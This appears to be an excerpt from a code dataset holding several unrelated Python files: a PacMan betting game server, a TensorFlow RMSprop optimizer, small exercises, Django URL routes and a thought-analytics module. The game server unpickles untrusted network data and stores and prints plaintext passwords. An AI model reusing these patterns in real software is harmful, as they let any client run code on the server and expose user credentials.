{}\r\nspect_wagers = {}\r\nspectators_list = {}\r\nwinners_list = []\r\n\r\n\r\nclass Users(Base):\r\n __tablename__ = 'user'\r\n id = Column(Integer, primary_key=True)\r\n name = Column(String(50))\r\n password = Column(String(50))\r\n balance = Column(Integer)\r\n games_played = Column(Integer)\r\n games_won = Column(Integer)\r\n online = Column(Boolean)\r\n\r\n def __init__(self, name, password, balance, games_played, games_won, online):\r\n self.name = name\r\n self.password = password\r\n self.balance = balance\r\n self.games_played = games_played\r\n self.games_won = games_won\r\n self.online = online\r\n\r\n def changeBalance(self, win, wager, username, eaten_all):\r\n user = session.query(Users).filter(Users.name == username).first()\r\n if win == False and eaten_all == False:\r\n user.balance = user.balance - wager\r\n if win == True and eaten_all == False:\r\n user.games_won += 1\r\n user.balance = user.balance + math.floor(wager * 1.5)\r\n if win == True and eaten_all == True:\r\n user.games_won += 1\r\n user.balance = user.balance + math.floor(2.5 * wager)\r\n # print(user.balance, \"is what\", username, \" now has\")\r\n user.games_played += 1\r\n user.online = False\r\n session.commit()\r\n return\r\n\r\n def getNamesList(self):\r\n namesList = []\r\n users = session.query(Users)\r\n for user in users:\r\n namesList.append(user.name)\r\n return namesList\r\n\r\n def signing(self, signing, username, password, connection):\r\n if signing == \"log in\":\r\n running = True\r\n namesList = Users.getNamesList(self)\r\n while running == True:\r\n if username in namesList:\r\n user = session.query(Users).filter(Users.name == username).first()\r\n if user.password == password and user.online == False:\r\n msg = \"Welcome back \" + username\r\n balance = user.balance\r\n data_to_send = (msg, balance)\r\n connection.send(pickle.dumps(data_to_send))\r\n user.online = True\r\n running = False\r\n else:\r\n msg = \"Incorrect password or name\"\r\n balance = 0\r\n data_to_send = (msg, balance)\r\n connection.send(pickle.dumps(data_to_send))\r\n data_from_client = pickle.loads(\r\n connection.recv(2048)) # מקבל את הסיסמה, השם והסוג כניסה של המשתמש\r\n signing, username, password = data_from_client\r\n else:\r\n msg = \"Incorrect password or name\"\r\n balance = 0\r\n data_to_send = (msg, balance)\r\n connection.send(pickle.dumps(data_to_send))\r\n data_from_client = pickle.loads(connection.recv(2048)) # מקבל את הסיסמה, השם והסוג כניסה של המשתמש\r\n signing, username, password = data_from_client\r\n return\r\n if signing == \"sign up\":\r\n running = True\r\n namesList = Users.getNamesList(self)\r\n while running == True:\r\n if username not in namesList:\r\n user = Users(name=username, password=password, balance=1000, games_played=0, games_won=0,\r\n online=True)\r\n session.add(user)\r\n session.commit()\r\n msg = \"Welcome to PacMn\"\r\n balance = 1000\r\n data_to_send = (msg, balance)\r\n connection.send(pickle.dumps(data_to_send))\r\n running = False\r\n else:\r\n msg = \"Name already exists\"\r\n balance = 0\r\n data_to_send = (msg, balance)\r\n connection.send(pickle.dumps(data_to_send))\r\n data_from_client = pickle.loads(connection.recv(2048)) # מקבל את הסיסמה, השם והסוג כניסה של המשתמש\r\n signing, username, password = data_from_client\r\n return\r\n\r\n\r\nusers = session.query(Users)\r\nfor user in users:\r\n print(user.id, user.name, user.password, user.balance)\r\n user.online = False\r\n session.commit()\r\n\r\nMAX_MSG_LENGTH = 1024\r\nSERVER_PORT = 5555\r\nSERVER_IP = '0.0.0.0'\r\n\r\nprint(\"Setting up server...\")\r\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nserver_socket.bind((SERVER_IP, SERVER_PORT))\r\nserver_socket.listen()\r\nprint(\"Listening for clients...\")\r\n\r\n\r\nclass server:\r\n\r\n def __init__(self, Recieved_Clients):\r\n self.game_sockets = []\r\n self.Coins_Results = {}\r\n self.Times_Results = {}\r\n self.Recieved_Clients = Recieved_Clients\r\n self.QueueAgain = []\r\n spect_wagers = {}\r\n\r\n ##########################SETS & GETS##########################\r\n\r\n def get_Recieved_Clients(self):\r\n return self.Recieved_Clients\r\n\r\n def set_Game_list(self, Game_list):\r\n self.game_sockets = list(Game_list)\r\n\r\n def print_client_sockets(self):\r\n for c in self.game_sockets:\r\n print(c.getpeername())\r\n\r\n def get_QueueAgain(self):\r\n return self.QueueAgain\r\n\r\n ##########################SETS & GETS##########################\r\n\r\n ##########################DUEL##########################\r\n\r\n def Game(self):\r\n names_list = {}\r\n wagers_list = {}\r\n eaten_all_list = {}\r\n for c in self.game_sockets:\r\n data_from_client = pickle.loads(c.recv(2048)) # מקבל את המטבעות ואת הזמן של הלקוח\r\n Result_Coins, Result_Time, wager, username, eaten_all = data_from_client\r\n if Result_Coins == -1:\r\n client_sockets.remove(c)\r\n del self.Recieved_Clients[c]\r\n c.close()\r\n user = session.query(Users).filter(Users.name == username).first()\r\n user.online = False\r\n continue\r\n names_list[c] = username\r\n wagers_list[c] = wager\r\n eaten_all_list[c] = eaten_all\r\n self.Coins_Results[c] = Result_Coins\r\n # print(Result_Coins, \"Coins \", username, \" has gotten\")\r\n self.Times_Results[c] = Result_Time\r\n # print(Result_Time, \"Time\", username, \" has gotten\")\r\n self.Recieved_Clients[c] = True # מסמן שאותו לקוח שלח את כל מה שהיה צריך לשלוח\r\n self.checkWinner(wagers_list, names_list, eaten_all_list) # בודק מי ניצח באחד המשחקים\r\n\r\n def checkWinner(self, wagers_list, names_list, eaten_all_list):\r\n global In_game\r\n maxCoins = 0\r\n minTime = 0\r\n maxCoinsClient = \"\"\r\n winner = \"\"\r\n switchToTime = False\r\n for i in self.game_sockets:\r\n if self.Coins_Results[i] == maxCoins:\r\n switchToTime = True\r\n if int(self.Coins_Results[i]) > maxCoins:\r\n maxCoins = int(self.Coins_Results[i])\r\n maxCoinsClient = i\r\n switchToTime = False\r\n winner = i\r\n print(maxCoins, \"Max Coins\")\r\n if switchToTime:\r\n minTime = 10000000\r\n minTimeClient = \"\"\r\n for i in self.game_sockets:\r\n if int(self.Times_Results[i]) <= minTime:\r\n minTime = self.Times_Results[i]\r\n minTimeClient = i\r\n winner = i\r\n print(minTime, \"Min Time\")\r\n losers_list = []\r\n for c in self.game_sockets:\r\n if c != winner:\r\n for connection in bet_on:\r\n if bet_on[connection] == names_list[c]:\r\n msg = \"Your bet has lost\"\r\n data_to_send = (msg, 0, 0)\r\n connection.send(pickle.dumps(data_to_send))\r\n user = session.query(Users).filter(Users.name == spectators_list[connection]).first()\r\n user.balance = user.balance - spect_wagers[connection]\r\n Users.changeBalance(user, False, wagers_list[c], names_list[c], eaten_all_list[c])\r\n msg = \"You have lost\"\r\n c.send(msg.encode())\r\n client_sockets.remove(c)\r\n del self.Recieved_Clients[c]\r\n In_game.remove(c)\r\n\r\n else:\r\n for connection in bet_on:\r\n if bet_on[connection] == names_list[c]:\r\n msg = \"Your bet has won\"\r\n data_to_send = (msg, 0, 0)\r\n connection.send(pickle.dumps(data_to_send))\r\n user = session.query(Users).filter(Users.name == spectators_list[connection]).first()\r\n user.balance = user.balance + spect_wagers[connection]\r\n Users.changeBalance(user, True, wagers_list[c], names_list[c], eaten_all_list[c])\r\n print(\"SENDING WON THIS DUEL\")\r\n msg = \"You have won this duel!\"\r\n c.send(msg.encode())\r\n winners_list.append(c)\r\n\r\n ##### After game ended #####\r\n\r\n if all(self.Recieved_Clients.values()):\r\n self.set_Game_list([])\r\n for connection in winners_list:\r\n msg = connection.recv(1024).decode()\r\n time.sleep(0.05)\r\n if msg == \"go\":\r\n self.game_sockets.append(connection)\r\n self.Recieved_Clients[connection] = False\r\n if len(self.game_sockets) >= 2:\r\n print(\"CLIENTS START NEW MATCH FINAL\")\r\n for c in self.game_sockets:\r\n msg = \"You can start\"\r\n c.send(msg.encode()) # שולח לכל שחקן שהוא יכול להתחיל לשחק\r\n winners_list.remove(c)\r\n self.Game()\r\n return\r\n if len(self.game_sockets) == 1:\r\n msg = \"You have won the Entire game!!\"\r\n self.game_sockets[0].send(msg.encode())\r\n if self.game_sockets[0] in winners_list:\r\n winners_list.remove(self.game_sockets[0])\r\n\r\n c = self.game_sockets[0]\r\n client_sockets.remove(c)\r\n del self.Recieved_Clients[c]\r\n In_game.remove(c)\r\n else:\r\n return\r\n\r\n ##########################DUEL##########################\r\n\r\n ##########################SPECTATORS##########################\r\n\r\n def choose(self, users, connection):\r\n for user in users:\r\n if user.name not in spectators_list.values():\r\n data_to_send = (user.name, user.games_played, user.games_won)\r\n connection.send(pickle.dumps(data_to_send))\r\n print(user.name, user.games_played, user.games_won)\r\n data_from_client = pickle.loads(connection.recv(2048)) # מקבל את הסיסמה, השם והסוג כניסה של המשתמש\r\n Request, wager = data_from_client\r\n print(Request)\r\n if Request == \"yes\":\r\n spect_wagers[connection] = wager\r\n bet_on[connection] = user.name\r\n break\r\n return\r\n\r\n def spectate(self):\r\n users = session.query(Users)\r\n for connection in spectators_list:\r\n x = threading.Thread(target=self.choose, args=(users, connection,), daemon=True)\r\n x.start()\r\n return\r\n\r\n ##########################SPECTATORS##########################\r\n\r\n\r\ndef main():\r\n global In_game\r\n Recieved_Clients = {}\r\n Number_Clients = 0\r\n Waiting_Room: List[socket.socket] = []\r\n Game_list = []\r\n signing = \"\"\r\n username = \"\"\r\n password = \"\"\r\n connection = \"\"\r\n user = \"\"\r\n addresses = {}\r\n while True:\r\n rlist, wlist, xlist = select.select([server_socket] + client_sockets, client_sockets, [], 0.1)\r\n for current_socket in rlist:\r\n if current_socket is server_socket:\r\n connection, client_address = current_socket.accept()\r\n print(\"New client joined!\", client_address)\r\n client_sockets.append(connection)\r\n addresses[connection] = client_address\r\n else:\r\n if current_socket not in Waiting_Room and current_socket not in In_game:\r\n ret = current_socket.recv(2048)\r\n if not ret:\r\n client_sockets.remove(current_socket)\r\n continue\r\n data_from_client = pickle.loads(ret)\r\n signing, username, password = data_from_client\r\n Users.signing(user, signing, username, password, current_socket)\r\n Request = current_socket.recv(\r\n MAX_MSG_LENGTH).decode() # מקבל את הבקשה מאחד הלקוחות. שחקן, צופה או לשחק עוד הפעם\r\n print(signing, username, password, Request)\r\n if Request == \"play\":\r\n client_sockets.append(current_socket)\r\n Waiting_Room.append(current_socket)\r\n Recieved_Clients[current_socket] = False\r\n if Request == \"spectate\":\r\n spectators_list[current_socket] = username\r\n Lobby = server(Recieved_Clients) # יוצר את המשחק הכללי\r\n x = threading.Thread(target=Lobby.spectate, daemon=True)\r\n x.start()\r\n # search for 2 clients in waiting room\r\n\r\n if len(Waiting_Room) >= 2:\r\n sockets_to_game = Waiting_Room[:2]\r\n for c in sockets_to_game:\r\n msg = \"You can start\"\r\n c.send(msg.encode()) # שולח לכל שחקן שהוא יכול להתחיל לשחק\r\n Waiting_Room.remove(c)\r\n In_game.append(c)\r\n Game_list = sockets_to_game[0], sockets_to_game[1]\r\n lobby = server(Recieved_Clients) # יוצר את המשחק הכללי\r\n x = threading.Thread(target=lobby.Game) # יוצר משחק בין שני אנשים\r\n lobby.set_Game_list(Game_list)\r\n x.start()\r\n print(\"Started Game!\")\r\n\r\n\r\n time.sleep(0.1)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"7EFF/pacman","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":15361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4257467083","text":"import re\nimport tensorflow as tf\n\n@tf.keras.utils.register_keras_serializable(package=\"Hanser\")\nclass RMSprop(tf.keras.optimizers.Optimizer):\n\n def __init__(self,\n learning_rate=0.001,\n decay=0.9,\n momentum=0.9,\n epsilon=1e-3,\n weight_decay=0.0,\n exclude_from_weight_decay=None,\n name=\"RMSprop\"):\n \"\"\"Construct a new RMSprop optimizer.\n\n Args:\n learning_rate: A `Tensor`, floating point value, or a schedule that is a\n `tf.keras.optimizers.schedules.LearningRateSchedule`, or a callable\n that takes no arguments and returns the actual value to use. The\n learning rate. Defaults to 0.001.\n decay: Discounting factor for the history/coming gradient. Defaults to 0.9.\n momentum: A scalar or a scalar `Tensor`. Defaults to 0.0.\n epsilon: A small constant for numerical stability. This epsilon is\n \"epsilon hat\" in the Kingma and Ba paper (in the formula just before\n Section 2.1), not the epsilon in Algorithm 1 of the paper. Defaults to\n 1e-7.\n name: Optional name prefix for the operations created when applying\n gradients. Defaults to \"RMSprop\".\n\n \"\"\"\n super().__init__(name)\n self._set_hyper(\"learning_rate\", learning_rate)\n self._set_hyper(\"decay\", decay)\n\n self._momentum = False\n if isinstance(momentum, tf.Tensor) or callable(momentum) or momentum > 0:\n self._momentum = True\n if isinstance(momentum, (int, float)) and (momentum < 0 or momentum > 1):\n raise ValueError(\"`momentum` must be between [0, 1].\")\n assert self._momentum\n self._set_hyper(\"momentum\", momentum)\n self._set_hyper(\"weight_decay\", weight_decay)\n\n self.epsilon = epsilon\n self.exclude_from_weight_decay = exclude_from_weight_decay\n self.use_weight_decay = weight_decay != 0\n\n def _get_variable_name(self, param_name):\n \"\"\"Get the variable name from the tensor name.\"\"\"\n m = re.match(\"^(.*):\\\\d+$\", param_name)\n if m is not None:\n param_name = m.group(1)\n return param_name\n\n def _do_use_weight_decay(self, param_name):\n if not self.use_weight_decay:\n return False\n if self.exclude_from_weight_decay:\n for r in self.exclude_from_weight_decay:\n if re.search(r, param_name) is not None:\n return False\n return True\n\n def _create_slots(self, var_list):\n for var in var_list:\n self.add_slot(var, \"rms\")\n for var in var_list:\n self.add_slot(var, \"momentum\")\n\n def _prepare_local(self, var_device, var_dtype, apply_state):\n super()._prepare_local(var_device, var_dtype, apply_state)\n\n decay = tf.identity(self._get_hyper(\"decay\", var_dtype))\n apply_state[(var_device, var_dtype)].update(\n dict(\n epsilon=tf.convert_to_tensor(self.epsilon, var_dtype),\n decay=decay,\n momentum=tf.identity(self._get_hyper(\"momentum\", var_dtype)),\n weight_decay = tf.identity(self._get_hyper(\"weight_decay\", var_dtype)),\n ))\n\n def _resource_apply_dense(self, grad, var, apply_state=None):\n var_device, var_dtype = var.device, var.dtype.base_dtype\n coefficients = ((apply_state or {}).get((var_device, var_dtype))\n or self._fallback_apply_state(var_device, var_dtype))\n\n rms = self.get_slot(var, \"rms\")\n mom = self.get_slot(var, \"momentum\")\n\n var_name = self._get_variable_name(var.name)\n if self._do_use_weight_decay(var_name):\n grad = grad + coefficients[\"weight_decay\"] * var\n\n return tf.raw_ops.ResourceApplyRMSProp(\n var=var.handle,\n ms=rms.handle,\n mom=mom.handle,\n lr=coefficients[\"lr_t\"],\n rho=coefficients[\"decay\"],\n momentum=coefficients[\"momentum\"],\n epsilon=coefficients[\"epsilon\"],\n grad=grad,\n use_locking=self._use_locking)\n\n def _resource_apply_sparse(self, grad, var, indices, apply_state=None):\n var_device, var_dtype = var.device, var.dtype.base_dtype\n coefficients = ((apply_state or {}).get((var_device, var_dtype))\n or self._fallback_apply_state(var_device, var_dtype))\n\n rms = self.get_slot(var, \"rms\")\n mom = self.get_slot(var, \"momentum\")\n\n return tf.raw_ops.ResourceSparseApplyRMSProp(\n var=var.handle,\n ms=rms.handle,\n mom=mom.handle,\n lr=coefficients[\"lr_t\"],\n rho=coefficients[\"decay\"],\n momentum=coefficients[\"momentum\"],\n epsilon=coefficients[\"epsilon\"],\n grad=grad,\n indices=indices,\n use_locking=self._use_locking)\n\n def get_config(self):\n config = super(RMSprop, self).get_config()\n config.update({\n \"learning_rate\": self._serialize_hyperparameter(\"learning_rate\"),\n \"decay\": self._serialize_hyperparameter(\"decay\"),\n \"momentum\": self._serialize_hyperparameter(\"momentum\"),\n \"epsilon\": self.epsilon,\n \"weight_decay\": self._serialize_hyperparameter(\"weight_decay\"),\n })\n return config\n","repo_name":"sbl1996/hanser","sub_path":"hanser/train/optimizers/rmsprop.py","file_name":"rmsprop.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"33929116715","text":"def math_operations(*numbers, **operations):\n from collections import deque\n action = deque([k for k in operations])\n nums = deque(numbers)\n while nums:\n num = nums.popleft()\n act = action.popleft()\n if act == \"a\":\n operations[act] += num\n elif act == \"s\":\n operations[act] -= num\n elif act == \"d\":\n try:\n operations[act] /= num\n except ZeroDivisionError:\n pass\n elif act == \"m\":\n operations[act] *= num\n action.append(act)\n return operations\n\n\nprint(math_operations(2, 12, 0, -3, 6, -20, -11, a=1, s=7, d=33, m=15))\nprint(math_operations(-1, 0, 1, 0, 6, -2, 80, a=0, s=0, d=0, m=0))\nprint(math_operations(6, a=0, s=0, d=0, m=0))\n","repo_name":"KalinHar/Advanced-Python-SoftUni","sub_path":"exams/reg-exam-pro-03.py","file_name":"reg-exam-pro-03.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4803757598","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name=\"index\"),\n path('script', views.Script.as_view(), name=\"script\"),\n # path('predict', views.forecast, name=\"predict\"),\n path('test', views.test, name=\"test\"),\n path('main', views.main, name=\"main\")\n]","repo_name":"DevilSlayer23/stock-price-prediction","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26799871588","text":"#!/usr/bin/env python3\n\"\"\"\n ISJ - Skriptovaci jazyky\n Projekt 6\n xbucha02, Petr Buchal\n\"\"\"\nimport itertools\nimport operator\n\ndef first_nonrepeating(string):\n \"\"\"\n funkcedostane na vstup retezec a vrati prvni neopakujici se znak ze\n vstupniho retezce\n \"\"\"\n if type(string) is not str:\n return None\n \n parsed = list(string)\n unique = []\n duplicate = []\n result = []\n \n for i in parsed:\n if i not in unique:\n unique.append(i)\n else:\n duplicate.append(i)\n\n result = list(unique)\n\n for i, item in enumerate(unique):\n for e, elem in enumerate(duplicate):\n if elem == item:\n if elem in result:\n result.remove(elem)\n\n if not result:\n return None\n else:\n bad_chars = set()\n bad_chars.update(' ', '\\t')\n if result[0] in bad_chars:\n return None\n else:\n return result[0]\n\ndef get_res_down(num0, num1, num2, num3, op0, op1, op2, res):\n \"\"\"\n pomocna funkce pro funkci combine4, ktera prochazi kombinace hodnot\n od zacatku po konec\n \"\"\"\n oprs = {'+' : operator.add, '-' : operator.sub, '*' : operator.mul, '/' : operator.__truediv__}\n\n if num1 == 0 and op0 == '/':\n return None\n first = oprs[op0](num0, num1)\n if num2 == 0 and op1 == '/':\n return None\n second = oprs[op1](first, num2)\n if num3 == 0 and op2 == '/':\n return None\n third = oprs[op2](second, num3)\n if third == res:\n return '(('+str(num0)+op0+str(num1)+')'+op1+str(num2)+')'+op2+str(num3)\n \n \ndef get_res_up(num0, num1, num2, num3, op0, op1, op2, res):\n \"\"\"\n pomocna funkce pro funkci combine4, ktera prochazi kombinace hodnot\n od konce po zacatek\n \"\"\"\n oprs = {'+' : operator.add, '-' : operator.sub, '*' : operator.mul, '/' : operator.__truediv__}\n \n if num3 == 0 and op2 == '/':\n return None\n third = oprs[op2](num2, num3)\n if third == 0 and op1 == '/':\n return None\n second = oprs[op1](num1, third)\n if second == 0 and op0 == '/':\n return None\n first = oprs[op0](num0, second)\n if first == res:\n return str(num0)+op0+'('+str(num1)+op1+'('+str(num2)+op2+str(num3)+'))'\n \ndef combine4(*arguments):\n \"\"\"\n funkce dostane ctverici 4 kladnych celych cisel a \n ocekavany vysledek a vrati setrideny seznam unikatnich reseni \n matematickych hadanek s vysledkem operaci +, -, *, /\n \"\"\"\n if len(arguments) != 2:\n return None\n \n if type(arguments[0]) == list and type(arguments[1]) == int:\n arr = arguments[0]\n res = arguments[1]\n elif type(arguments[0]) == int and type(arguments[1]) == list:\n res = arguments[0]\n arr = arguments[1]\n else:\n return None\n\n ops = ['+', '-', '*', '/']\n results = list()\n \n numbers = list(itertools.permutations(arr, 4))\n operations = list(itertools.permutations(ops, 3))\n \n for i, item in enumerate(numbers):\n num0 = item[0]\n num1 = item[1]\n num2 = item[2]\n num3 = item[3]\n for e, elm in enumerate(operations):\n op0 = elm[0]\n op1 = elm[1]\n op2 = elm[2]\n\n result = get_res_down(num0, num1, num2, num3, op0, op1, op2, res)\n if result:\n results.insert(-1,result)\n \n result = get_res_up(num0, num1, num2, num3, op0, op1, op2, res)\n if result:\n results.insert(-1,result)\n\n return list(set(results))\n","repo_name":"LachubCz/VUT-FIT-BIT","sub_path":"6_semestr/ISJ/Proj6/isj_proj06_xbucha02.py","file_name":"isj_proj06_xbucha02.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"42642957459","text":"import numpy as np\nimport streamlit as st\nimport requests\nimport pandas as pd\nfrom time import time as now\nfrom datetime import datetime, date, time\nimport math\nfrom util import cos_dist, sample_spherical, syllable_count\nimport re\nfrom textblob import TextBlob\nfrom collections import Counter\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\n\n\ndef fetch_conceptarium():\n conceptarium_url = st.session_state['conceptarium_url']\n if not conceptarium_url.startswith('http://'):\n conceptarium_url = 'http://' + conceptarium_url\n if conceptarium_url[-1] == '/':\n conceptarium_url = conceptarium_url[:-1]\n\n conceptarium_url += ':8000/find'\n conceptarium = requests.get(conceptarium_url, params={\n 'query': '',\n 'return_embeddings': True\n }, headers={\n 'authorization': 'Bearer ' + st.session_state['access_token']\n }).json()\n conceptarium = conceptarium['authorized_thoughts']\n\n for e_idx, e in enumerate(conceptarium):\n conceptarium[e_idx]['embedding'] = conceptarium[e_idx]['embeddings']['text_image']\n conceptarium[e_idx]['activation'] = np.log(e['interest'] / (1 - 0.9)) - \\\n 0.9 * np.log((now() - e['timestamp']) / (3600 * 24) + 0.1)\n\n st.session_state['conceptarium_json'] = conceptarium\n\n\ndef birth_rate_over_past_day():\n data = daily_birth_rate()\n return data[0], data[0] - data[1]\n\n\ndef birth_rate_over_past_week():\n data = daily_birth_rate()\n return sum(data[:7]), sum(data[:7]) - sum(data[7:14])\n\n\ndef birth_rate_over_past_month():\n data = daily_birth_rate()\n return sum(data[:30]), sum(data[:30]) - sum(data[30:60])\n\n\ndef birth_rate_over_past_year():\n data = daily_birth_rate()\n return sum(data[:365]), sum(data[:365]) - sum(data[365:2 * 365])\n\n\ndef daily_birth_rate():\n conceptarium = st.session_state.conceptarium_json\n timestamps = pd.DataFrame(conceptarium)['timestamp'].values\n midnight = datetime.combine(datetime.today(), time.min).timestamp()\n\n timestamps = [midnight - e for e in timestamps]\n timestamps = [int(1 + e / (60 * 60 * 24)) for e in timestamps]\n timestamps = sorted(timestamps)\n data = [timestamps.count(e) for e in range(max(timestamps) + 1)]\n return data\n\n\ndef birth_rate_by_day_of_week():\n conceptarium = st.session_state.conceptarium_json\n timestamps = pd.DataFrame(conceptarium)['timestamp'].values\n\n data = [date.fromtimestamp(e).strftime('%a') for e in timestamps]\n return pd.DataFrame(data, columns=['weekday'])\n\n\ndef birth_rate_by_time_of_day():\n conceptarium = st.session_state.conceptarium_json\n timestamps = pd.DataFrame(conceptarium)['timestamp'].values\n\n data = [datetime.fromtimestamp(e, tz=datetime.now(\n ).astimezone().tzinfo).strftime('%H:%M') for e in timestamps]\n data = pd.to_datetime(data, format='%H:%M')\n return pd.DataFrame(data, columns=['time'])\n\n\ndef birth_rate_by_time_of_day_and_day_of_week():\n time = birth_rate_by_time_of_day()\n weekday = birth_rate_by_day_of_week()\n\n data = pd.DataFrame()\n data['time'] = time['time'].values\n data['weekday'] = weekday['weekday'].values\n return data\n\n\ndef population_size_per_day():\n data = daily_birth_rate()\n data = [sum(data[e:]) for e in range(len(data))]\n return data\n\n\ndef population_pyramid_of_fittest_quartile():\n conceptarium = st.session_state.conceptarium_json\n conceptarium = sorted(conceptarium, key=lambda x: x['activation'])\n fittest = conceptarium[:math.ceil(len(conceptarium) * 0.25)]\n\n fittest_text = [e for e in fittest if e['modality'] == 'text']\n fittest_imagery = [e for e in fittest if e['modality'] == 'image']\n\n if len(fittest_text) > 0:\n fittest_text_age = [\n int((now() - e['timestamp']) / (60 * 60 * 24 * 7)) for e in fittest_text]\n fittest_text_age = [fittest_text_age.count(\n e) for e in range(max(fittest_text_age) + 1)]\n else:\n fittest_text_age = []\n\n if len(fittest_imagery) > 0:\n fittest_imagery_age = [\n int((now() - e['timestamp']) / (60 * 60 * 24 * 7)) for e in fittest_imagery]\n fittest_imagery_age = [fittest_imagery_age.count(\n e) for e in range(max(fittest_imagery_age) + 1)]\n else:\n fittest_imagery_age = []\n\n return fittest_text_age, fittest_imagery_age\n\n\ndef variability_over_past_week():\n data = variability_per_week()['variability']\n return round(data[0], 2), round(data[0] - data[1], 2)\n\n\ndef variability_over_past_month():\n data = variability_per_month()['variability']\n if len(data) < 2:\n return round(data[0], 2), None\n\n return round(data[0], 2), round(data[0] - data[1], 2)\n\n\ndef aggregate_variability():\n conceptarium = st.session_state.conceptarium_json\n embeddings = [e['embedding'] for e in conceptarium]\n centroid = np.mean(embeddings, axis=0)\n return round(np.mean([cos_dist(e, centroid) for e in embeddings]) * 100, 2)\n\n\ndef variability_of_fittest_quartile():\n conceptarium = st.session_state.conceptarium_json\n conceptarium = sorted(conceptarium, key=lambda x: x['activation'])\n fittest = conceptarium[: math.ceil(len(conceptarium) * 0.25)]\n embeddings = [e['embedding'] for e in fittest]\n centroid = np.mean(embeddings, axis=0)\n return round(np.mean([cos_dist(e, centroid) for e in embeddings]) * 100, 2)\n\n\ndef variability_per_week():\n conceptarium = st.session_state.conceptarium_json\n\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n variabilities = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age'] == age]\n if len(thoughts) > 1:\n embeddings = [e['embedding'] for e in thoughts]\n centroid = np.mean(embeddings, axis=0)\n variabilities[age] = np.mean(\n [cos_dist(e, centroid) for e in embeddings]) * 100\n\n data = pd.DataFrame()\n data['age'] = [e for e in range(max_age) if variabilities[e] != 0]\n data['variability'] = [e for e in variabilities if e != 0]\n return data\n\n\ndef variability_per_month():\n conceptarium = st.session_state.conceptarium_json\n\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 30))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n variabilities = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age'] == age]\n if len(thoughts) > 1:\n embeddings = [e['embedding'] for e in thoughts]\n centroid = np.mean(embeddings, axis=0)\n variabilities[age] = np.mean(\n [cos_dist(e, centroid) for e in embeddings]) * 100\n\n data = pd.DataFrame()\n data['age'] = [e for e in range(max_age) if variabilities[e] != 0]\n data['variability'] = [e for e in variabilities if e != 0]\n return data\n\n\ndef drift_over_past_week():\n data = drift_per_week()\n return round(data[0], 2), round(data[0] - data[1], 2)\n\n\ndef drift_over_past_week_percent_of_max():\n data = drift_per_week()\n percent_of_max_past_week = round(data[0] / max(data), 2) * 100\n percent_of_max_previous_week = round(data[1] / max(data), 2) * 100\n return str(percent_of_max_past_week) + '%', str(round(percent_of_max_past_week - percent_of_max_previous_week, 2)) + '%'\n\n\ndef drift_over_past_month():\n data = drift_per_month()\n if len(data) < 2:\n return round(data[0], 2), None\n return round(data[0], 2), round(data[0] - data[1], 2)\n\n\ndef drift_over_past_month_percent_of_max():\n data = drift_per_month()\n percent_of_max_past_week = round(data[0] / max(data), 2) * 100\n\n if len(data) < 2:\n return percent_of_max_past_week, None\n\n percent_of_max_previous_week = round(data[1] / max(data), 2) * 100\n return str(percent_of_max_past_week) + '%', str(percent_of_max_past_week - percent_of_max_previous_week) + '%'\n\n\ndef drift_per_week():\n conceptarium = st.session_state.conceptarium_json\n\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 7))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n centroids = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age'] == age]\n embeddings = [e['embedding'] for e in thoughts]\n centroids[age] = np.mean(embeddings, axis=0)\n\n drifts = [cos_dist(centroids[e], centroids[e + 1])\n * 100 for e in range(max_age - 1)]\n return drifts\n\n\ndef drift_per_month():\n conceptarium = st.session_state.conceptarium_json\n\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - thought['timestamp']) / (60 * 60 * 24 * 30))\n\n max_age = max([e['age'] for e in conceptarium]) + 1\n centroids = [0] * max_age\n\n for age in range(max_age):\n thoughts = [e for e in conceptarium if e['age'] == age]\n embeddings = [e['embedding'] for e in thoughts]\n centroids[age] = np.mean(embeddings, axis=0)\n\n drifts = [cos_dist(centroids[e], centroids[e + 1])\n * 100 for e in range(max_age - 1)]\n return drifts\n\n\ndef mean_fitness():\n data = fitness_distribution()\n data = round(np.mean(data), 2)\n return data\n\n\ndef fitness_interquartile_mean():\n data = fitness_distribution()\n q1, q3 = np.percentile(data, [25, 75])\n data = [e for e in data if q1 <= e and e <= q3]\n data = np.mean(data)\n return round(data, 2)\n\n\ndef fitness_interquartile_range():\n data = fitness_distribution()\n q1, q3 = np.percentile(data, [25, 75])\n return round(q3 - q1, 2)\n\n\ndef memetic_load():\n data = fitness_distribution()\n data = round((np.max(data) - np.mean(data)) / np.max(data), 2)\n return data\n\n\ndef fitness_distribution():\n conceptarium = st.session_state.conceptarium_json\n data = [e['activation'] for e in conceptarium]\n return data\n\n\ndef conciseness_per_week():\n conceptarium = st.session_state.conceptarium_json\n for thought_idx, thought in enumerate(conceptarium):\n conceptarium[thought_idx]['age'] = int(\n (now() - 